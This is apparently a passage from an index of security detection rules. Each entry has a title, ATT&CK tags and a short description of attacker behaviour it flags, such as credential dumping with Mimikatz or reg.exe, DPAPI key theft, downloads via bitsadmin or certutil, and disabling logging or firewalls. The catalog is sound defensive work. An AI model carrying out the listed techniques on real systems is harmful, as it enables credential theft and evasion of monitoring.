Detects DNS server discovery via LDAP query requests from uncommon applications

DNS Server Error Failed Loading the ServerLevelPluginDLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·

Share on:

Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded

DNS TOR Proxies

Aug 12, 2024 · attack.exfiltration attack.t1048 ·

Share on:

Identifies IPs performing DNS lookups associated with common Tor proxies.

DNS TXT Answer with Possible Execution Strings

Aug 12, 2024 · attack.command-and-control attack.t1071.004 ·

Share on:

Detects strings used in command execution in DNS TXT Answer

DNS-over-HTTPS Enabled by Registry

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.t1112 ·

Share on:

Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.

Docker Container Discovery Via Dockerenv Listing

Aug 12, 2024 · attack.discovery attack.t1082 ·

Share on:

Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery

Domain Trust Discovery Via Dsquery

Aug 12, 2024 · attack.discovery attack.t1482 ·

Share on:

Detects execution of "dsquery.exe" for domain trust discovery

DotNET Assembly DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·

Share on:

Detects any assembly DLL being loaded by an Office Product

DotNet CLR DLL Loaded By Scripting Applications

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1055 ·

Share on:

Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.

Download File To Potentially Suspicious Directory Via Wget

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects the use of wget to download content to a suspicious directory

Download from Suspicious Dyndns Hosts

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1105 attack.t1568 ·

Share on:

Detects download of certain file types from hosts with dynamic DNS names (selected list)

Download From Suspicious TLD - Blacklist

Aug 12, 2024 · attack.initial-access attack.t1566 attack.execution attack.t1203 attack.t1204.002 ·

Share on:

Detects download of certain file types from hosts in suspicious TLDs

Download From Suspicious TLD - Whitelist

Aug 12, 2024 · attack.initial-access attack.t1566 attack.execution attack.t1203 attack.t1204.002 ·

Share on:

Detects executable downloads from suspicious remote systems

DPAPI Backup Keys And Certificate Export Activity IOC

Aug 12, 2024 · attack.t1555 attack.t1552.004 ·

Share on:

Detects file names with specific patterns seen generated and used by tools such as Mimikatz and DSInternals related to exported or stolen DPAPI backup keys and certificates.

DPAPI Domain Backup Key Extraction

Aug 12, 2024 · attack.credential-access attack.t1003.004 ·

Share on:

Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers

DPAPI Domain Master Key Backup Attempt

Aug 12, 2024 · attack.credential-access attack.t1003.004 ·

Share on:

Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.

Driver Load From A Temporary Directory

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·

Share on:

Detects a driver load from a temporary directory

Driver/DLL Installation Via Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·

Share on:

Detects execution of "odbcconf" with "INSTALLDRIVER" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.

DriverQuery.EXE Execution

Aug 12, 2024 · attack.discovery ·

Share on:

Detect usage of the "driverquery" utility. Which can be used to perform reconnaissance on installed drivers

Drop Binaries Into Spool Drivers Color Folder

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects the creation of suspcious binary files inside the "\windows\system32\spool\drivers\color" as seen in the blog referenced below

Droppers Exploiting CVE-2017-11882

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-11882 detection.emerging-threats ·

Share on:

Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe

Dropping Of Password Filter DLL

Aug 12, 2024 · attack.credential-access attack.t1556.002 ·

Share on:

Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS

DSInternals Suspicious PowerShell Cmdlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

DSInternals Suspicious PowerShell Cmdlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

Dump Credentials from Windows Credential Manager With PowerShell

Aug 12, 2024 · attack.credential-access attack.t1555 ·

Share on:

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

Dump Ntds.dit To Suspicious Location

Aug 12, 2024 · attack.execution ·

Share on:

Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location

Dumping of Sensitive Hives Via Reg.EXE

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.004 attack.t1003.005 car.2013-07-001 ·

Share on:

Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.

Dumping Process via Sqldumper.exe

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects process dump via legitimate sqldumper.exe binary

DumpMinitool Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·

Share on:

Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump"

DumpStack.log Defender Evasion

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects the use of the filename DumpStack.log to evade Microsoft Defender

Dynamic .NET Compilation Via Csc.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027.004 ·

Share on:

Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.

Dynamic CSharp Compile Artefact

Aug 12, 2024 · attack.defense-evasion attack.t1027.004 ·

Share on:

When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution

Elise Backdoor Activity

Aug 12, 2024 · attack.g0030 attack.g0050 attack.s0081 attack.execution attack.t1059.003 detection.emerging-threats ·

Share on:

Detects Elise backdoor activity used by APT32

Email Exifiltration Via Powershell

Aug 12, 2024 · attack.exfiltration ·

Share on:

Detects email exfiltration via powershell cmdlets

Enable BPF Kprobes Tracing

Aug 12, 2024 · attack.execution attack.defense-evasion ·

Share on:

Detects common command used to enable bpf kprobes tracing

Enable LM Hash Storage - ProcCreation

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.

Enable Local Manifest Installation With Winget

Aug 12, 2024 · attack.defense-evasion attack.persistence ·

Share on:

Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.

Enable Microsoft Dynamic Data Exchange

Aug 12, 2024 · attack.execution attack.t1559.002 ·

Share on:

Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.

Enable Windows Remote Management

Aug 12, 2024 · attack.lateral-movement attack.t1021.006 ·

Share on:

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

Enabled User Right in AD to Control User Objects

Aug 12, 2024 · attack.persistence attack.t1098 ·

Share on:

Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.

Enabling COR Profiler Environment Variables

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.012 ·

Share on:

Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.

End User Consent

Aug 12, 2024 · attack.credential-access attack.t1528 ·

Share on:

Detects when an end user consents to an application

End User Consent Blocked

Aug 12, 2024 · attack.credential-access attack.t1528 ·

Share on:

Detects when end user consent is blocked due to risk-based consent.

Enumerate Credentials from Windows Credential Manager With PowerShell

Aug 12, 2024 · attack.credential-access attack.t1555 ·

Share on:

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

Enumeration for 3rd Party Creds From CLI

Aug 12, 2024 · attack.credential-access attack.t1552.002 ·

Share on:

Detects processes that query known 3rd party registry keys that holds credentials via commandline

Enumeration for Credentials in Registry

Aug 12, 2024 · attack.credential-access attack.t1552.002 ·

Share on:

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services

Equation Group C2 Communication

Aug 12, 2024 · attack.command-and-control attack.g0020 attack.t1041 detection.emerging-threats ·

Share on:

Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools

Equation Group DLL_U Export Function Load

Aug 12, 2024 · attack.g0020 attack.defense-evasion attack.t1218.011 detection.emerging-threats ·

Share on:

Detects a specific export function name used by one of EquationGroup tools

Equation Group Indicators

Aug 12, 2024 · attack.execution attack.g0020 attack.t1059.004 ·

Share on:

Detects suspicious shell commands used in various Equation Group scripts and tools

Esentutl Gather Credentials

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1003.003 ·

Share on:

Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.

Esentutl Steals Browser Information

Aug 12, 2024 · attack.collection attack.t1005 ·

Share on:

One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe

Esentutl Volume Shadow Copy Service Keys

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·

Share on:

Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\System\CurrentControlSet\Services\VSS\Diag\VolSnap\Volume are captured.

ETW Logging Disabled For rpcrt4.dll

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·

Share on:

Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll

ETW Logging Disabled For SCM

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·

Share on:

Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM)

ETW Logging Disabled In .NET Processes - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·

Share on:

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

ETW Logging Disabled In .NET Processes - Sysmon Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·

Share on:

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

ETW Logging Tamper In .NET Processes Via CommandLine

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·

Share on:

Detects changes to environment variables related to ETW logging via the CommandLine. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.

ETW Trace Evasion Activity

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1562.006 car.2016-04-002 ·

Share on:

Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.

EventLog EVTX File Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·

Share on:

Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence

EvilNum APT Golden Chickens Deployment Via OCX Files

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·

Share on:

Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report

Exchange Exploitation CVE-2021-28480

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-28480 detection.emerging-threats ·

Share on:

Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480

Exchange Exploitation Used by HAFNIUM

Aug 12, 2024 · attack.initial-access attack.t1190 attack.g0125 detection.emerging-threats ·

Share on:

Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity

Exchange PowerShell Cmdlet History Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·

Share on:

Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence

Exchange PowerShell Snap-Ins Usage

Aug 12, 2024 · attack.execution attack.t1059.001 attack.collection attack.t1114 ·

Share on:

Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27

Exchange Set OabVirtualDirectory ExternalUrl Property

Aug 12, 2024 · attack.persistence attack.t1505.003 ·

Share on:

Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log

Executable from Webdav

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/

Execute Code with Pester.bat

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1216 ·

Share on:

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

Execute Code with Pester.bat as Parent

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1216 ·

Share on:

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

Execute Files with Msdeploy.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects file execution using the msdeploy.exe lolbin

Execute From Alternate Data Streams

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·

Share on:

Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection

Execute Invoke-command on Remote Host

Aug 12, 2024 · attack.lateral-movement attack.t1021.006 ·

Share on:

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

Execute MSDT Via Answer File

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·

Share on:

Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab)

Execute Pcwrun.EXE To Leverage Follina

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·

Share on:

Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability

Execution DLL of Choice Using WAB.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.

Execution Of Non-Existing File

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)

Execution of Powershell Script in Public Folder

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder

Execution Of Script Located In Potentially Suspicious Directory

Aug 12, 2024 · attack.execution ·

Share on:

Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.

Execution via stordiag.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe

Execution via WorkFolders.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects using WorkFolders.exe to execute an arbitrary control.exe

Exploit for CVE-2015-1641

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 cve.2015-1641 detection.emerging-threats ·

Share on:

Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641

Exploit for CVE-2017-0261

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-0261 detection.emerging-threats ·

Share on:

Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262

Exploit for CVE-2017-8759

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-8759 detection.emerging-threats ·

Share on:

Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759

Exploitation of CVE-2021-26814 in Wazuh

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-21978 cve.2021-26814 detection.emerging-threats ·

Share on:

Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814

Exploited CVE-2020-10189 Zoho ManageEngine

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1059.001 attack.t1059.003 attack.s0190 cve.2020-10189 detection.emerging-threats ·

Share on:

Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189

Exploiting SetupComplete.cmd CVE-2019-1378

Aug 12, 2024 · attack.privilege-escalation attack.t1068 attack.execution attack.t1059.003 attack.t1574 cve.2019-1378 detection.emerging-threats ·

Share on:

Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378

Explorer NOUACCHECK Flag

Aug 12, 2024 · attack.defense-evasion attack.t1548.002 ·

Share on:

Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks

Explorer Process Tree Break

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·

Share on:

Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from "svchost"

Exports Critical Registry Keys To a File

Aug 12, 2024 · attack.exfiltration attack.t1012 ·

Share on:

Detects the export of a crital Registry key to a file.

Exports Registry Key To a File

Aug 12, 2024 · attack.exfiltration attack.t1012 ·

Share on:

Detects the export of the target Registry key to a file.

Exports Registry Key To an Alternate Data Stream

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·

Share on:

Exports the target Registry key and hides it in the specified alternate data stream.

External Disk Drive Or USB Storage Device Was Recognized By The System

Aug 12, 2024 · attack.t1091 attack.t1200 attack.lateral-movement attack.initial-access ·

Share on:

Detects external disk drives or plugged-in USB devices.

External Remote RDP Logon from Public IP

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1133 attack.t1078 attack.t1110 ·

Share on:

Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.

External Remote SMB Logon from Public IP

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1133 attack.t1078 attack.t1110 ·

Share on:

Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.

Extracting Information with PowerShell

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·

Share on:

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

Failed Authentications From Countries You Do Not Operate Out Of

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 ·

Share on:

Detect failed authentications from countries you do not operate out of.

Failed DNS Zone Transfer

Aug 12, 2024 · attack.reconnaissance attack.t1590.002 ·

Share on:

Detects when a DNS zone transfer failed.

Failed Logon From Public IP

Aug 12, 2024 · attack.initial-access attack.persistence attack.t1078 attack.t1190 attack.t1133 ·

Share on:

Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary.

Failed MSExchange Transport Agent Installation

Aug 12, 2024 · attack.persistence attack.t1505.002 ·

Share on:

Detects a failed installation of a Exchange Transport Agent

Fax Service DLL Search Order Hijack

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1574.001 attack.t1574.002 ·

Share on:

The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.

File and Directory Discovery - MacOS

Aug 12, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects usage of system utilities to discover files and directories

File And SubFolder Enumeration Via Dir Command

Aug 12, 2024 · attack.discovery attack.t1217 ·

Share on:

Detects usage of the "dir" command part of Widows CMD with the "/S" command line flag in order to enumerate files in a specified directory and all subdirectories.

File Creation Date Changed to Another Year

Aug 12, 2024 · attack.t1070.006 attack.defense-evasion ·

Share on:

Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.

File Creation In Suspicious Directory By Msdt.EXE

Aug 12, 2024 · attack.persistence attack.t1547.001 cve.2022-30190 ·

Share on:

Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities

File Decoded From Base64/Hex Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution

File Decryption Using Gpg4win

Aug 12, 2024 · attack.execution ·

Share on:

Detects usage of Gpg4win to decrypt files

File Deletion

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity

File Deletion Via Del

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

File Download And Execution Via IEExec.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects execution of the IEExec utility to download and execute files

File Download From Browser Process Via Inline URL

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.

File Download Using Notepad++ GUP Utility

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.

File Download Using ProtocolHandler.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects usage of "ProtocolHandler" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)

File Download Via Bitsadmin

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·

Share on:

Detects usage of bitsadmin downloading a file

File Download Via Bitsadmin To A Suspicious Target Folder

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·

Share on:

Detects usage of bitsadmin downloading a file to a suspicious target folder

File Download Via Bitsadmin To An Uncommon Target Folder

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·

Share on:

Detects usage of bitsadmin downloading a file to uncommon target folder

File Download via CertOC.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects when a user downloads a file by using CertOC.exe

File Download Via InstallUtil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE"

File Download Via Windows Defender MpCmpRun.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.command-and-control attack.t1105 ·

Share on:

Detects the use of Windows Defender MpCmdRun.EXE to download files

File Download with Headless Browser

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files

File Encoded To Base64 Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects the execution of certutil with the "encode" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration

File Encryption Using Gpg4win

Aug 12, 2024 · attack.execution ·

Share on:

Detects usage of Gpg4win to encrypt files

File Encryption/Decryption Via Gpg4win From Suspicious Locations

Aug 12, 2024 · attack.execution ·

Share on:

Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.

File or Folder Permissions Change

Aug 12, 2024 · attack.defense-evasion attack.t1222.002 ·

Share on:

Detects file and folder permission changes.

File Time Attribute Change

Aug 12, 2024 · attack.defense-evasion attack.t1070.006 ·

Share on:

Detect file time attribute change to hide new or changes to existing files

File Time Attribute Change - Linux

Aug 12, 2024 · attack.defense-evasion attack.t1070.006 ·

Share on:

Detect file time attribute change to hide new or changes to existing files.

File Was Not Allowed To Run

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.006 attack.t1059.007 ·

Share on:

Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.

File With Suspicious Extension Downloaded Via Bitsadmin

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·

Share on:

Detects usage of bitsadmin downloading a file with a suspicious extension

File With Uncommon Extension Created By An Office Application

Aug 12, 2024 · attack.t1204.002 attack.execution ·

Share on:

Detects the creation of files with an executable or script extension by an Office application.

Files Added To An Archive Using Rar.EXE

Aug 12, 2024 · attack.collection attack.t1560.001 ·

Share on:

Detects usage of "rar" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Files With System DLL Name In Unsuspected Locations

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 ·

Share on:

Detects the creation of a file with the ".dll" extension that has the name of a System DLL in uncommon or unsuspected locations. (Outisde of "System32", "SysWOW64", etc.). It is highly recommended to perform an initial baseline before using this rule in production.

Files With System Process Name In Unsuspected Locations

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 ·

Share on:

Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64, etc.). It is highly recommended to perform an initial baseline before using this rule in production.

Filter Driver Unloaded Via Fltmc.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1562 attack.t1562.002 ·

Share on:

Detect filter driver unloading activity via fltmc.exe

Findstr GPP Passwords

Aug 12, 2024 · attack.credential-access attack.t1552.006 ·

Share on:

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.

Findstr Launching .lnk File

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1202 attack.t1027.003 ·

Share on:

Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack

Finger.EXE Execution

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects execution of the "finger.exe" utility. Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon. Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.

Fireball Archer Install

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218.011 detection.emerging-threats ·

Share on:

Detects Archer malware invocation via rundll32

Firewall Disabled via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 attack.s0108 ·

Share on:

Detects netsh commands that turns off the Windows firewall

Firewall Rule Deleted Via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects the removal of a port or application rule in the Windows Firewall configuration using netsh

Firewall Rule Update Via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects execution of netsh with the "advfirewall" and the "set" option in order to set new values for properties of a existing rule

First Time Seen Remote Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·

Share on:

This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes

First Time Seen Remote Named Pipe - Zeek

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·

Share on:

This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes

Flash Player Update from Suspicious Location

Aug 12, 2024 · attack.initial-access attack.t1189 attack.execution attack.t1204.002 attack.defense-evasion attack.t1036.005 ·

Share on:

Detects a flashplayer update from an unofficial location

FlowCloud Registry Markers

Aug 12, 2024 · attack.persistence attack.t1112 ·

Share on:

Detects FlowCloud malware registry markers from threat group TA410. The malware stores its configuration in the registry alongside drivers utilized by the malware's keylogger components.

Flush Iptables Ufw Chain

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic

FoggyWeb Backdoor DLL Loading

Aug 12, 2024 · attack.resource-development attack.t1587 detection.emerging-threats ·

Share on:

Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll

Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Aug 12, 2024 · attack.collection attack.t1074.001 ·

Share on:

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Folder Removed From Exploit Guard ProtectedFolders List - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects the removal of folders from the "ProtectedFolders" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder

Forfiles Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·

Share on:

